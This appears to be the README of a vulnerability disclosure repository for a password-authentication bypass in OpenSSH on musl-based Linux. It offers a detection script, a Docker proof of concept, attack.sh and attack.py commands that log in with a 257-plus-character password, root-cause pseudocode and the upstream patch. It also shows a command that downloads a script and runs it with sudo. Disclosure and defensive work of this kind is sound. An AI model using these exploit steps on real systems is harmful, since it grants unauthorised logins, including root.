
openssh on musl accepted any 257+ char password for accounts with no password. since 2016. check.sh, poc, patch.
openssh on musl linux (alpine, openwrt, buildroot, yocto) lets you log in to any account that has * as its password with any password longer than 256 characters. that means root, key-only users, ldap users, the alpine user on alpine's cloud images. since 2016.
the full story is at sshhole.com. this repo has the script to check your own machine, a docker setup to try it yourself, and the patch.
fixed in openssh 10.6p2 on 2026-11-05. alpine packages are out.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
you are only exposed if all of these are true. the script tells you which one is missing if you're not:
openssh-server package is. openssh-server-pam with UsePAM yes is safePasswordAuthentication yes in sshd_config (this is the default)* as its password field$5$ or $6$ password hash (someone, anyone, ran passwd)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: not affected. you can stop reading.
you need docker. this builds a normal alpine 3.24 with openssh-server and the default config. alice has *, bob has a real password.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
two prompts. first one anything, second one 300 x A. that's the exploit.
root works too if PermitRootLogin yes is set:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py does the same with paramiko and lets you pick the password length, so you can see 256 fail and 257 work:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
for older alpine versions: docker build --build-arg BASE=alpine:3.21 -t sshhole . it works at least back to 3.18. the oldest we tried was openssh 7.5p1 on musl 1.1.16 from 2017, and it worked there too.
patch/4353fdc43-avoid-password-authn-bypass.patch is the upstream fix, unchanged, in case you need to apply it to an older version. it works on anything from 7.3p1 up. it makes sshd skip the comparison when the stored field is too short to be a real hash, and it also stops using a pointer into libc's static buffer.
if you can't update right now, set PasswordAuthentication no in sshd_config. that closes it completely.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd has compared against * like this since the 90s. musl started returning * on failure in 2012. sshd started using other accounts' salts in 2016. see the timeline.
the full test setup (17 environments: cloud image in qemu, openwrt, buildroot, ldap and ad users, and so on), the prevalence numbers and the per-distro table are in the write-up. they may be published later. this repo is small on purpose.
mit license.